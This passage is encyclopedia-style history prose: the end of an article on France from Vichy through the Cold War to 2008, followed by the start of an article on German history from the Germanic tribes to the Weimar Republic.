          The Vichy regime adopted violent, repressive anti-semitic policies on its own initiative, without direction from Nazi Germany, as has been highlighted by the historian Robert Paxton . During the German occupation 76000 Jews would be deported, often with the help of the Vichy French authorities, and murdered in the Nazi's extermination camps. After the Attack on Mers-el-Kbir in 1940, where the British fleet destroyed a large part of the French navy, still under command of Vichy France. This attack that killed about 1,100 sailors, and there was nationwide indignation and a feeling of distrust in the French forces, leading to the events of the Battle of Dakar. Eventually, several important French ships such as the Richelieu and the Surcouf joined the Free French Forces. On the Eastern Front the USSR was lacking pilots and several French pilots joined the Soviet Union and fought the Luftwaffe in the Normandie-Niemen squadron. Within France proper, very few people organised themselves against the German Occupation in the summer of 1940. However, their numbers grew as Vichy's true nature became more apparent and the decline of Nazi Germany more obvious. Isolated opposers eventually formed a real movement: the Resistants. The most famous figure of the French resistance was Jean Moulin. He was tortured by Klaus Barbie (the butcher of Lyon). Increasing repression culminated in the complete destruction and extermination of the village of Oradour-sur-Glane, at the height of the Battle of Normandy. There were also Frenchmen that joined the SS, they were known as the Charlemagne Division, knowing they would not survive would Germany be defeated; they were among the last ones to surrender at Berlin.


          Whilst recognising this extensive collaboration, the British historian Simon KItson has shown that the Vichy regime engaged in an extensive programme of arresting German intelligence agents in the unoccupied zone. Around 2000 were arrested and some were subsequently executed. Vichy's purpose in this respect was to preserve its sovereignty and to centralise collaboration.


          In November 1942 Vichy-France was finally occupied by German forces, because the war in North-Africa was coming to an end; the Germans foresaw a threat in southern Europe by the allied forces.


          On 6 June 1944 the allied landed on Normandy while on 15 August they landed on Provence. General Leclerc freed Paris and Strasbourg and later, along with the battleship Richelieu, represented France at Tokyo during the Japanese surrender. The Vichy-regime fled to Germany.


          France was liberated by allied forces in 1944. After the war ended, the West German government had to pay reparations (large sums of money) to France as compensation for invading and occupying France and to any civilians killed, being starved, sent into forced labour, or left homeless by the war. The day Germany surrendered French forces were involved in the Stif massacre in Algeria.


          


          Cold War


          After a short period of provisional government initially led by General Charles de Gaulle, a new constitution ( October 13, 1946) established the Fourth Republic under a parliamentary form of government controlled by a series of coalitions. During the following 16 years the French Colonial Empire would disintegrate.


          Israel was established in 1948 and France was one of the fiercest supporter of the Jewish state, supplying it with extensive weaponry it used during 1948 Arab-Israeli War. The French Republic needed an alliance with Israel to secure the Suez Canal from potential threats in a context of decolonisation.


          In Indochina the French government was facing the Viet Minh, socialist rebels, and lost its Indochinese colonies during the First Indochina War in 1954 after the Battle of Dien Bien Phu. Vietnam was divided in two states while Cambodge and Laos were made independent. France left Indochina to be replaced by the USA there, themselves engaged in the long Vietnam War.


          In 1956 another crisis struck French colonies, this time in Egypt. The Suez Canal had been built by the French government, belonged at 56% to the French Republic and was operated by the Compagnie universelle du canal maritime de Suez. Great-Britain had bought the Egyptian share from Isma'il Pasha and was the second largest owner of the canal before the crisis. The Egyptian President Gamal Abdel Nasser nationalised the canal despite French and British opposition; he estimated a European answer was most unlikely to happen. Great-Britain and France attacked Egypt and built an alliance with Israel against Nasser. Israel attacked from the east, Britain from Cyprus and France from Algeria. Egypt, the most powerful Arab state of the time, was defeated in a mere few days. This caused an outcry of indignation in the entire Arab world and Saudi Arabia set an embargo on oil on France and Britain. The US President Dwight D. Eisenhower forced a ceasefire when he threatened to sell all American shares of British Pounds and to crash the British economy. The British forces were retired from the conflict and Israel, having seized interests in the Sinai region, withdrew soon leaving France alone in Egypt. Under stronger political pressures the French government ultimately evacuated its troops from Suez. This was a major political defeat for France and the American threats during the war were received with indignation by the French popular opinion. This led directly, and was used as a point, to the French withdrawal from the integrated military command of NATO in 1966. Another consequence of this was the French loss of geopolitical interests in the region; this meant an alliance with Israel was no longer of any use for French diplomacy. General de Gaulle was elected president in 1958 and made the French Force de Frappe, the nuclear power, a priority of the French Defence. France then adopted the dissuasion du faible au fort doctrine which meant a Soviet attack on France would only bring total destruction to both sides.


          
            
              	

              	Within ten years, we shall have the means to kill 80 million Russians. I truly believe that one does not light-heartedly attack people who are able to kill 80 million Russians, even if one can kill 800 million French, that is if there were 800 million French.

              	
            

          


          The May 1958 seizure of power in Algiers by French army units and French settlers opposed to concessions in the face of Arab nationalist insurrection led to the fall of the French government and a presidential invitation to de Gaulle to form an emergency government to forestall the threat of civil war.


          In May 1968 students revolted, with a variety of demands including educational, labor and governmental reforms, sexual and artistic freedom, and the end of the Vietnam War. The student protest movement quickly joined with labor and mass strikes erupted.


          


          Post Cold War


          


          After the fall of the USSR and the end of the Cold War potential menaces to mainland France appeared considerably reduced. France began reducing its nuclear capacities and conscription was abolished in 2001. In 1990 France, led by Franois Mitterrand, joined the short lived Gulf War against Iraq, the French participation to this war would be called the Opration Daguet.


          However, despite the end of the cold war and the fact future conflicts would be fought away from home, there were still menaces against mainland France in the form of terrorism. In 1994 Air France Flight 8969 was hijacked by islamic terrorists with the suspected intent to crash the plane over Paris. The hijacking was a failure for the terrorist group, known as the GIA after an intervention from the GIGN in Marseille, where the plane was grounded. More terrorist attacks would happen and these culminated into the 1995 Paris Metro bombing. Important leaders of the GIA in France fell afterward: Khaled Kelkal was killed in Lyon by the EPIGN and Rachid Ramda was arrested in London although it took ten years for the French justice to have him extraded.


          Jacques Chirac assumed office as president on May 17, 1995, after a campaign focused on the need to combat France's stubbornly high unemployment rate. While France continues to revere its rich history and independence, French leaders increasingly tie the future of France to the continued development of the European Union. In 1992 France ratified the Maastricht Treaty establishing the European Union. In 1999, the Euro was introduced to replace the French franc. Beyond membership in the European Union, France is also involved in many joint European projects such as Airbus, the Galileo positioning system and the Eurocorps.


          The French have stood among the strongest supporters of NATO and EU policy in the Balkans to prevent genocide in Yugoslavia. French troops joined the 1999 NATO bombing of the Federal Republic of Yugoslavia. France has also been actively involved against international terrorism. In 2002 Alliance Base, an international Counterterrorist Intelligence Centre, was secretly established in Paris. The same year France contributed to the toppling of the Taliban-regime in Afghanistan, but it strongly rejected the 2003 invasion of Iraq, even threatening to veto the US proposed resolution.


          Jacques Chirac was reelected in 2002, mainly because his socialist rival Lionel Jospin was defeated by the extreme right wing candidate Jean-Marie Le Pen. France was struck by a long period of civil unrest in 2005 after the death of two teenagers. At the end of his second term Jacques Chirac chose not to run again at the age of 74.


          The cabinet minister and rival Nicolas Sarkozy was elected and took office on May 16, 2007. The problem of high unemployment has yet to be resolved. In 2008, France was one of the first states to recognise Kosovo as an independent nation.
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          The History of Germany begins with the establishment of the nation from Ancient Roman times to the 8th century, and then continues into the Holy Roman Empire dating all the way from the 9th century until 1806. At its largest, the territory of this empire included what today is Germany, Austria, Slovenia, the Czech Republic, western Poland, the Low Countries, eastern France, Switzerland and most of northern Italy. After the mid 16th century, when it had lost many former territories, it was known as the "Holy Roman Empire of the German Nation".


          This was followed by the German Confederation of 18151866, the German Empire of 18711918, and the Weimar Republic of 19191933. Then came Adolf Hitler's German Reich also known as Nazi Germany or Third Reich of 19331945 and the devastations of World War II. The article concludes with the history of the post-war Federal Republic of Germany ( West Germany) and the history of the German Democratic Republic (East Germany) from 1945 to 1990.


          


          Germanic tribes (100 BC to 300 AD)
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          The ethnogenesis of the Germanic tribes is assumed to have occurred during the Nordic Bronze Age, or at the latest, during the Pre-Roman Iron Age. From southern Scandinavia and northern Germany, the tribes began expanding south, east and west in the 1st centuryBC, coming into contact with the Celtic tribes of Gaul as well as Iranian, Baltic, and Slavic tribes in Eastern Europe. Little is known about early Germanic history, except through their recorded interactions with the Roman Empire, etymological research, and archaeological finds.


          Under Augustus, the Roman General Publius Quinctilius Varus began to invade Germania (a term used by the Romans running roughly from the Rhine to the Urals), and it was in this period that the Germanic tribes became familiar with Roman tactics of warfare while maintaining their tribal identity. In AD9, three Roman legions led by Varus were defeated by the Cheruscan leader Arminius in the Battle of the Teutoburg Forest. Modern Germany, as far as the Rhine and the Danube, thus remained outside the Roman Empire. By AD100, the time of Tacitus' Germania, Germanic tribes settled along the Rhine and the Danube (the Limes Germanicus), occupying most of the area of modern Germany. The 3rd century saw the emergence of a number of large West Germanic tribes: Alamanni, Franks, Chatti, Saxons, Frisians, Sicambri, and Thuringii. Around 260, the Germanic peoples broke through the Limes and the Danube frontier into Roman-controlled lands.


          


          The Franks


          The Merovingian kings of the Germanic Franks conquered northern Gaul in 486 CE. In the fifth and sixth century the Merovingian kings conquered several other Germanic tribes and kingdoms and placed them under the control of autonomous dukes of mixed Frankish and native blood. Frankish Colonists were encouraged to move to the newly conquered territories. While the local Germanic tribes were allowed to preserve their laws, they were pressured into changing their religion.


          


          Frankish Empire


          After the fall of the Western Roman empire the Franks created an empire under the Merovingian kings and subjugated the other Germanic tribes. Swabia became a duchy under the Frankish Empire in 496, following the Battle of Tolbiac. Already king Chlothar I ruled the greater part of what is now Germany and made expeditions into Saxony while the Southeast of modern Germany was still under influence of the Ostrogoths. In 531 Saxons and Franks destroyed the Kingdom of Thuringia. Saxons inhabit the area down to the Unstrut river. During the partition of the Frankish empire their German territories were a part of Austrasia. In 718 the Franconian Mayor of the Palace Charles Martel marked war against Saxony, because of its help for the Neustrians. The Franconian Carloman started in 743 a new war against Saxony, because the Saxons gave aid to Duke Odilo of Bavaria. In 751 Pippin III, mayor of the palace under the Merovingian king, himself assumed the title of king and was anointed by the Church. The Frankish kings now set up as protectors of the Pope, Charlemagne launched a decades-long military campaign against their heathen rivals, the Saxons and the Avars. The Saxons (by the Saxon Wars ( 772- 804)) and Avars were eventually overwhelmed and forcibly converted, and their lands were annexed by the Carolingian Empire.


          


          Middle Ages
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          From 772 to 814 king Charlemagne extended the Carolingian empire into northern Italy and the territories of all west Germanic peoples, including the Saxons and the Bajuwari (Bavarians). In 800 Charlemagne's authority in Western Europe was confirmed by his coronation as emperor in Rome. The Frankish empire was divided into counties, and its frontiers were protected by border Marches. Imperial strongholds (Kaiserpfalzen) became economic and cultural centres ( Aachen being the most famous).


          Between 843 and 880, after fighting between Charlemagne's grandchildren, the Carolingian empire was partitioned into several parts in the Treaty of Verdun, the Treaty of Meerssen and the Treaty of Ribemont. The German empire developed out of the East Frankish kingdom, East Francia. From 919 to 936 the Germanic peoples (Franks, Saxons, Swabians and Bavarians) were united under Duke Henry of Saxony, who took the title of king. For the first time, the term Kingdom (Empire) of the Germans (" Regnum Teutonicorum") was applied to a Frankish kingdom, even though Teutonicorum at its founding originally meant something closer to "Realm of the Germanic peoples" or "Germanic Realm" than realm of the Germans.


          In 936 Otto I the Great was crowned at Aachen. He strengthened the royal authority by appointing bishops and abbots as princes of the Empire ( Reichsfrsten), thereby establishing a national church. In 951 Otto the Great married the widowed Queen Adelheid, thereby winning the Lombard crown. Outside threats to the kingdom were contained with the decisive defeat of the Magyars of Hungary near Augsburg at the Battle of Lechfeld in 955 and the subjugation of Slavs between the Elbe and the Oder rivers. In 962 Otto I was crowned emperor in Rome, taking the succession of Charlemagne and establishing a strong Frankish influence over the Papacy.


          In 1033 the Kingdom of Burgundy was incorporated into the Holy Roman Empire during the reign of Conrad II, the first emperor of the Salian dynasty.


          During the reign of his son Henry III the Holy Roman Empire supported the Cluniac reform of the Church - the Peace of God, the prohibition of simony (the purchase of clerical offices) and the celibacy of priests. Imperial authority over the Pope reached its peak. An imperial stronghold ( Pfalz) was built at Goslar, as the Empire continued its expansion to the East.


          In the Investiture Dispute which began between Henry IV and Pope Gregory VII over appointments to ecclesiastical offices, the emperor was compelled to submit to the Pope at Canossa in 1077, after having been excommunicated. In 1122 a temporary reconciliation was reached between Henry V and the Pope with the Concordat of Worms. The consequences of the investiture dispute were a weakening of the Ottonian National Church Reichskirche, and a strengthening of the Imperial secular princes.
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          The time between 1096 and 1291 was the age of the crusades. Knightly religious orders were established, including the Templars, the Knights of St John and the Teutonic Order.


          From 1100, new towns were founded around imperial strongholds, castles, bishops' palaces and monasteries. The towns began to establish municipal rights and liberties (see German town law), while the rural population remained in a state of serfdom. In particular, several cities became Imperial Free Cities, which did not depend on princes or bishops, but were immediately subject to the Emperor. The towns were ruled by patricians (merchants carrying on long-distance trade). The craftsmen formed guilds, governed by strict rules, which sought to obtain control of the towns. Trade with the East and North intensified, as the major trading towns came together in the Hanseatic League, under the leadership of Lbeck.


          The German colonization and the chartering of new towns and villages began into largely Slav-inhabited territories east of the Elbe, such as Bohemia, Silesia, Pomerania, and Livonia (see also Ostsiedlung).


          Between 1152 and 1190, during the reign of Frederick I (Barbarossa), of the Hohenstaufen dynasty, an accommodation was reached with the rival Guelph party by the grant of the duchy of Bavaria to Henry the Lion, duke of Saxony. Austria became a separate duchy by virtue of the Privilegium Minus in 1156. Barbarossa tried to reassert his control over Italy. In 1177 a final reconciliation was reached between the emperor and the Pope in Venice.


          In 1180 Henry the Lion was outlawed and Bavaria was given to Otto of Wittelsbach (founder of the Wittelsbach dynasty which was to rule Bavaria until 1918), while Saxony was divided.


          From 1184 to 1186 the Hohenstaufen empire under Barbarossa reached its peak in the Reichsfest (imperial celebrations) held at Mainz and the marriage of his son Henry in Milan to the Norman princess Constance of Sicily. The power of the feudal lords was undermined by the appointment of "ministerials" (unfree servants of the Emperor) as officials. Chivalry and the court life flowered, leading to a development of German culture and literature (see Wolfram von Eschenbach).


          Between 1212 and 1250 Frederick II established a modern, professionally administered state in Sicily. He resumed the conquest of Italy, leading to further conflict with the Papacy. In the Empire, extensive sovereign powers were granted to ecclesiastical and secular princes, leading to the rise of independent territorial states. The struggle with the Pope sapped the Empire's strength, as Frederick II was excommunicated three times. After his death, the Hohenstaufen dynasty fell, followed by an interregnum during which there was no Emperor.


          Beginning in 1226 under the auspices of Emperor Frederick II, the Teutonic Knights began their conquest of Prussia after being invited to Chełmno Land by the Polish Duke Konrad I of Masovia. The native Baltic Prussians were conquered and Christianized by the Knights with much warfare, and numerous German towns were established along the eastern shore of the Baltic Sea. From 1300, however, the Empire started to lose territory on all its frontiers.


          The failure of negotiations between Emperor Louis IV with the papacy led in 1338 to the declaration at Rhense by six electors to the effect that election by all or the majority of the electors automatically conferred the royal title and rule over the empire, without papal confirmation.


          Between 1346 and 1378 Emperor Charles IV of Luxembourg, king of Bohemia, sought to restore the imperial authority.
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          Around 1350 Germany and almost the whole of Europe were ravaged by the Black Death. Jews were persecuted on religious and economic grounds; many fled to Poland.


          The Golden Bull of 1356 stipulated that in future the emperor was to be chosen by four secular electors (the King of Bohemia, the Count Palatine of the Rhine, the Duke of Saxony, and the Margrave of Brandenburg) and three spiritual electors (the Archbishops of Mainz, Trier, and Cologne).


          After the disasters of the 14th century, early-modern European society gradually came into being as a result of economic, religious and political changes. A money economy arose which provoked social discontent among knights and peasants. Gradually, a proto-capitalistic system evolved out of feudalism. The Fugger family gained prominence through commercial and financial activities and became financiers to both ecclesiastical and secular rulers.


          The knightly classes found their monopoly on arms and military skill undermined by the introduction of mercenary armies and foot soldiers. Predatory activity by "robber knights" became common. From 1438 the Habsburgs, who controlled most of the southeast of the Empire (more or less modern-day Austria and Slovenia, and Bohemia and Moravia after the death of King Louis II in 1526), maintained a constant grip on the position of the Holy Roman Emperor until 1806 (with the exception of the years between 1742 and 1745). This situation, however, gave rise to increased disunity among the Holy Roman Empires territorial rulers and prevented sections of the country from coming together and forming nations in the manner of France and England.


          During his reign from 1493 to 1519, Maximilian I tried to reform the Empire: an Imperial Supreme Court (Reichskammergericht) was established, imperial taxes were levied, the power of the Imperial Diet (Reichstag) was increased. The reforms were, however, frustrated by the continued territorial fragmentation of the Empire.


          


          Early modern Germany


          


          Reformation and Thirty Years War
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          Around the beginning of the 16th century there was much discontent in the Holy Roman Empire with abuses in the Catholic Church and a desire for reform.


          In 1517 the Reformation began: Martin Luther nailed his 95 theses to the church door in Wittenberg. These were the 95 things that he deemed unacceptable about the way that the Catholic church was run at that time.


          In 1520 Luther was outlawed at the Diet of Worms. But the Reformation spread rapidly, helped by the Emperor Charles V's wars with France and the Turks. Hiding in the Wartburg Castle, Luther translated the Bible, establishing the basis of modern German.


          In 1524 the Peasants' War broke out in Swabia, Franconia and Thuringia against ruling princes and lords, following the preachings of Reformist priests. But the revolts, which were assisted by war-experienced noblemen like Gtz von Berlichingen and Florian Geyer (in Franconia), and by the theologian Thomas Mnzer (in Thuringia), were soon repressed by the territorial princes.


          From 1545 the Counter-Reformation began in Germany. The main force was provided by the Jesuit order, founded by the Spaniard Ignatius of Loyola. Central and north-eastern Germany were by this time almost wholly Protestant, whereas western and southern Germany remained predominantly Catholic. In 1546, Holy Roman Emperor Charles V defeated the Schmalkaldic League, an alliance of Protestant rulers.


          The Peace of Augsburg in 1555 brought recognition of the Lutheran faith. But the treaty also stipulated that the religion of a state was to be that of its ruler ( Cuius regio, eius religio).


          In 1556 Charles V abdicated. The Habsburg Empire was divided, as Spain was separated from the Imperial possessions.


          In 1608/1609 the Protestant Union and the Catholic League were formed.


          From 1618 to 1648 the Thirty Years' War ravaged in the Holy Roman Empire. The causes were the conflicts between Catholics and Protestants, the efforts by the various states within the Empire to increase their power and the Emperor's attempt to achieve the religious and political unity of the Empire. The immediate occasion for the war was the uprising of the Protestant nobility of Bohemia against the emperor ( Defenestration of Prague), but the conflict was widened into a European War by the intervention of King Christian IV of Denmark (1625-29), Gustavus Adolphus of Sweden (1630-48) and France under Cardinal Richelieu, the regent of the young Louis XIV (1635-48). Germany became the main theatre of war and the scene of the final conflict between France and the Habsburgs for predominance in Europe. The war resulted in large areas of Germany being laid waste, a loss of approximately a third of its population, and in a general impoverishment.


          The war ended in 1648 with the Peace of Westphalia, signed in Mnster and Osnabrck: Imperial territory was lost to France and Sweden and the Netherlands left the Holy Roman Empire after being de facto seceded for 80 years already. The imperial power declined further as the states' rights were increased.


          


          End of the Holy Roman Empire
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          From 1640, Brandenburg-Prussia had started to rise under the Great Elector, Frederick William. The Peace of Westphalia in 1648 strengthened it even further, through the acquisition of East Pomerania. A system of rule based on absolutism was established.


          In 1701 Elector Frederick of Brandenburg was crowned " King in Prussia". From 1713 to 1740, King Frederick William I, also known as the "Soldier King", established a highly centralized state.


          Meanwhile Louis XIV of France had conquered parts of Alsace and Lorraine (1678-1681), and had invaded and devastated the Palatinate (1688-1697). Louis XIV benefited from the Empire's problems with the Turks, which were menacing Austria. He ultimately had to relinquish the Palatinate, though.


          In 1683 the Turks were defeated outside Vienna by a Polish relief army led by King Jan Sobieski of Poland while the city itself was defended by Imperial and Austrian troops under the command of Charles IV, Duke of Lorraine. Hungary was reconquered, and later became a new destination for German settlers. Austria, under the Habsburgs, developed into a great power.


          In the War of Austrian Succession (1740-1748) Maria Theresa fought successfully for recognition of her succession to the throne. But in the Silesian Wars and in the Seven Years' War she had to cede Silesia to Frederick II, the Great, of Prussia. After the Peace of Hubertsburg in 1763 between Austria, Prussia and Saxony, Prussia became a European great power. This gave the start to the rivalry between Prussia and Austria for the leadership of Germany.


          From 1763, against resistance from the nobility and citizenry, an " enlightened absolutism" was established in Prussia and Austria, according to which the ruler was to be "the first servant of the state". The economy developed and legal reforms were undertaken, including the abolition of torture and the improvement in the status of Jews; the emancipation of the peasants began. Education was promoted.


          In 1772-1795 Prussia took part in the partitions of Poland, occupying western territories of Polish-Lithuanian Commonwealth, which led to centuries of Polish resistance against German rule and persecution.


          The French Revolution sparked a new war between France and several of its Eastern neighbors, including Prussia and Austria. Following the Peace of Basel in 1795 with Prussia, the west bank of the Rhine was ceded to France.


          Napoleon I of France relaunched the war against the Empire. In 1803, under the " Reichsdeputationshauptschluss" (a resolution of a committee of the Imperial Diet meeting in Regensburg), he abolished almost all the ecclesiastical and the smaller secular states and most of the imperial free cities. New medium-sized states were established in south-western Germany. In turn, Prussia gained territory in north-western Germany.


          The Holy Roman Empire was formally dissolved on 6 August 1806 when the last Holy Roman Emperor Francis II (from 1804, Emperor Francis I of Austria) resigned. Francis II's family continued to be called Austrian emperors until 1918. In 1806 the Confederation of the Rhine was established under Napoleon's protection.


          After the Prussian army was defeated by the French revolutionary forces at Jena and Auerstedt, the Peace of Tilsit was signed in 1807: Prussia ceded all its possessions west of the Elbe to France and the kingdom of Westphalia was established under Napoleon's brother Jrome. Some of the territories Prussia conquered from Poland were regained by Duchy of Warsaw.


          From 1808 to 1812 Prussia was reconstructed, and a series of reforms were enacted by Freiherr vom Stein and Freiherr von Hardenberg, including the regulation of municipal government, the liberation of the peasants and the emancipation of the Jews. A reform of the army was undertaken by the Prussian generals Gerhard von Scharnhorst and August von Gneisenau.


          In 1813 the Wars of Liberation began, following the destruction of Napoleon's army in Russia (1812). After the Battle of the Nations at Leipzig, Germany was liberated from French rule. The Confederation of the Rhine was dissolved.


          In 1815 Napoleon was finally defeated at Waterloo by the Britain's Duke of Wellington and by Prussia's Gebhard Leberecht von Blcher.


          


          German Confederation


          


          Restoration and Revolution
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          After the fall of Napoleon, European monarchs and statesmen convened in Vienna in 1814 for the reorganization of European affairs, under the leadership of the Austrian Prince Metternich. The political principles agreed upon at this Congress of Vienna included the restoration, legitimacy and solidarity of rulers for the repression of revolutionary and nationalist ideas.


          On the terrditory of the former "Holy Roman Empire of the German Nation", the German Confederation (Deutscher Bund) was founded, a loose union of 39 states (35 ruling princes and 4 free cities) under Austrian leadership, with a Federal Diet (Bundestag) meeting in Frankfurt am Main.


          In 1817, inspired by liberal and patriotic ideas of a united Germany, student organisations gathered for the "Wartburg festival" at Wartburg Castle, at Eisenach in Thuringia, on the occasion of which reactionary books were burnt.


          In 1819 the student Karl Ludwig Sand murdered the writer August von Kotzebue, who had scoffed at liberal student organizations. Prince Metternich used the killing as an occasion to call a conference in Karlsbad, which Prussia, Austria and eight other states attended, and which issued the Karlsbad Decrees: censorship was introduced, and universities were put under supervision. The decrees also gave the start to the so-called "persecution of the demagogues", which was directed against individuals who were accused of spreading revolutionary and nationalist ideas. Among the persecuted were the poet Ernst Moritz Arndt, the publisher Johann Joseph Grres and the "Father of Gymnastics" Ludwig Jahn.


          In 1834 the Zollverein was established, a customs union between Prussia and most other German states, but excluding Austria.


          Growing discontent with the political and social order imposed by the Congress of Vienna led to the outbreak, in 1848, of the March Revolution in the German states. In May the German National Assembly (the Frankfurt Parliament) met in St. Paul's Church in Frankfurt am Main to draw up a national German constitution.


          But the 1848 revolution turned out to be unsuccessful: King Frederick William IV of Prussia refused the imperial crown, the Frankfurt parliament was dissolved, the ruling princes repressed the risings by military force and the German Confederation was re-established by 1850.


          In 1862 Prince Bismarck was nominated chief minister of Prussia - against the opposition of liberals, who saw him as a reactionary.


          In 1863-64, disputes between Prussia and Denmark grew over Schleswig, which - unlike Holstein - was not part of the German Confederation, and which Danish nationalists wanted to incorporate into the Danish kingdom. The dispute led to the Second War of Schleswig, in the course of which Prussia, joined by Austria, defeated Denmark. Denmark was forced to cede both the duchy of Schleswig and the duchy of Holstein to Austria and Prussia. In the aftermath, the management of the two duchies caused growing tensions between Austria and Prussia, which ultimately led to the Austro-Prussian War (1866). The Prussians were victorious in this war, carrying a decisive victory at the Battle of Kniggratz under the command of Helmuth von Moltke.


          


          North German Federation


          In 1866 the German Confederation was dissolved. In its place the North German Federation (German Norddeutscher Bund) was established, under the leadership of Prussia. Austria was excluded, and would remain outside German affairs for most of the remaining 19th and the 20th centuries.


          The North German Federation was a transitory group that existed from 1867 to 1871, between the dissolution of the German Confederation and the founding of the German Empire, led by Otto Von Bismarck who was declared chancellor. With it, Prussia established control over the 22 states of northern Germany and, via the Zollverein, southern Germany.


          


          German Empire


          


          Age of Bismarck
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          Differences between France and Prussia over the possible accession to the Spanish throne of a German candidate  whom France opposed  was the French pretext to declare the Franco-Prussian War (187071). Due to their defensive treaties, joint southern-German and Prussian troops, under the command of Moltke, repelled French troops which had occupied Saarbrcken and proceeded to invade France in August 1870. After a few weeks, the French army was finally forced to capitulate in the fortress of Sedan. French Emperor Napoleon III was taken prisoner and the Second French Empire collapsed, yet the new republic decided to prolong the war for several months. Months after the Siege of Paris was lifted, the Peace Treaty of Frankfurt was signed: France was obliged to cede what became known as Alsace-Lorraine to Germany. The ceded area consisted of Alsace and parts of Lorraine. The fact that many small, French-speaking areas were included was used by France to denounce the new border as hypocrisy, since Germany had justified it by the native Germanic dialects and culture of the areas inhabitants.


          During the Siege of Paris, the German princes assembled in the Hall of Mirrors of the Palace of Versailles and proclaimed the Prussian King Wilhelm I as the "German Emperor" on 18 January 1871. The German Empire was thus founded, with 25 states, three of which were Hanseatic free cities, and Bismarck, again, served as Chancellor. It was dubbed the "Little German" solution, since Austria was not included.


          Bismarck's domestic policies as Chancellor of Germany were characterized by his fight against perceived enemies of the Protestant Prussian state. In the so-called Kulturkampf (18721878), he tried to limit the influence of the Roman Catholic Church and of its political arm, the Catholic Centre Party, through various measures  like the introduction of civil marriage  but without much success. Millions of non-Germans subjects in the German Empire, like the Polish, Danish and French minorities, were discriminated against and a policy of Germanization was implemented.


          The other perceived threat was the rise of the Socialist Workers' Party (later known as the Social Democratic Party of Germany), whose declared aim was the establishment of a new socialist order through the transformation of existing political and social conditions. From 1878, Bismarck tried to repress the social democratic movement by outlawing the party's organization, its assemblies and most of its newspapers. Through the introduction of a social insurance system, on the other hand, he hoped to win the support of the working classes for the Empire.


          Bismarck's priority was to protect Germany's expanding power through a system of alliances and an attempt to contain crises until Germany was fully prepared to initiate them. Of particular importance, in this context, was the containment and isolation of France, because Bismarck feared that France would form an alliance with Russia and take revenge for its loss of Alsace and Lorraine to Germany.


          The Three Emperor's League was signed in 1872 by Russia, Austria and Germany. It stated that republicanism and socialism were common enemies and that the three powers would discuss any matters concerning foreign policy. Bismarck needed good relations with Russia in order to keep France isolated.


          In 1879, Bismarck formed a Dual Alliance of Germany and Austria-Hungary, with the aim of mutual military assistance in the case of an attack from Russia, which was not satisfied with the agreement reached at the Congress of Berlin.


          The establishment of the Dual Alliance led Russia to take a more conciliatory stance, and in 1887, the so-called Reinsurance Treaty was signed between Germany and Russia: in it, the two powers agreed on mutual military support in the case that France attacked Germany, or in case of an Austrian attack on Russia.


          In 1882, Italy joined the Dual Alliance to form a Triple Alliance. Italy wanted to defend its interests in North Africa against France's colonial policy. In return for German and Austrian support, Italy committed itself to assisting Germany in the case of a French military attack.


          For a long time, Bismarck had refused to give in to Crown Prince Wilhelm II's aspirations of making Germany a world power through the acquisition of German colonies ("a place in the sun", originally a statement of Bernhard von Blow). Bismarck wanted to avoid tensions between the European great powers that would threaten the security of Germany at all cost. But when, between 1880 and 1885, the foreign situation proved auspicious, Bismarck gave way, and a number of colonies were established overseas: in Africa, these were Togo, the Cameroons, German South-West Africa and German East Africa; in Oceania, they were German New Guinea, the Bismarck Archipelago and the Marshall Islands. In fact, it was Bismarck himself who helped initiate the Berlin Conference of 1885. He did it "establish international guidelines for the acquisition of African territory," (see Colonisation of Africa). This conference was an impetus for the "Scramble for Africa" and " New Imperialism".


          In 1888 Kaiser Wilhelm I died at age 91, and his terminally ill son Friedrich III ruled for only 99 days before his death. The 29 year old and ambitious Wilhelm II, Friedrich's son, acceded to the throne. Political and personal differences between Bismarck and the new monarch, who wanted to be "his own chancellor", eventually caused Bismarck to resign in 1890.


          


          Wilhelminian Era
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          When Bismarck resigned, Wilhelm II had declared that he would continue the foreign policy of the old chancellor. But soon, a new course was taken, with the aim of increasing Germany's influence in the world (Weltpolitik). The Reinsurance Treaty with Russia was not renewed. Instead, France formed an alliance with Russia, against the Triple Alliance of Germany, Austria-Hungary and Italy. The Triple Alliance itself was undermined by differences between Austria and Italy.


          From 1898, German colonial expansion in East Asia ( Jiaozhou Bay, the Marianas, the Caroline Islands, Samoa) led to frictions with the United Kingdom, Russia, Japan and the United States. The construction of the Baghdad Railway, financed by German banks and heavy industry, and aimed at connecting the North Sea with the Persian Gulf via the Bosporus, also collided with British and Russian geopolitical and economic interests.


          To protect Germany's overseas trade and colonies, Admiral von Tirpitz started a programme of warship construction in 1898. This posed a direct threat to British hegemony on the seas, with the result that negotiations for an alliance between Germany and Britain broke down. Germany was increasingly isolated.


          Imperialist power politics and the determined pursuit of national interests ultimately led to the outbreak in 1914 of the First World War, sparked by the assassination, on June 28, 1914, of the Austrian heir-apparent Franz Ferdinand and his wife at Sarajevo, the capital of Bosnia-Herzegovina by a Serbian nationalist. The theorized underlying causes have included the opposing policies of the European states, the armaments race, German-British rivalry, the difficulties of the Austro-Hungarian multinational state, Russia's Balkan policy and overhasty mobilisations and ultimatums (the underlying belief being that the war would be short). Germany fought on the side of Austria-Hungary, Bulgaria and the Ottoman Empire against Russia, France, Great Britain, Italy, Japan and several other smaller states. Fighting also spread to the Near East and the German colonies.


          In the west, Germany fought a war of attrition with bloody battles. After a quick march through Belgium, German troops were halted on the Marne, north of Paris. The frontlines in France changed little until the end of the war. In the east, despite there being initially no decisive victories against the Russian army, the trapping and defeat of large parts of the Russian contingent at the Battle of Tannenberg, followed by smaller Austrian and German successes led to a breakdown of Russian forces and an imposed peace. The British naval blockade in the North Sea had crippling effects on Germany's supplies of raw materials and foodstuffs. The entry of the United States into the war in 1917 following Germany's declaration of unrestricted submarine warfare marked a decisive turning-point against Germany.


          At the end of October, units of the German Navy in Kiel, in northern Germany, refused to set sail for a last, large-scale operation in a war which they saw as good as lost. On November 3, the uprising spread to other cities. So-called workers' and soldiers' councils were established.


          Kaiser Wilhelm II and all German ruling princes abdicated. On November 9, the Social Democrat Philipp Scheidemann proclaimed a Republic. On November 11, an armistice ending the war was signed at Compigne.


          


          Weimar Republic


          
            [image: States of Germany at the time of the Weimar Republic, with Prussia in blue]

            
              States of Germany at the time of the Weimar Republic, with Prussia in blue
            

          


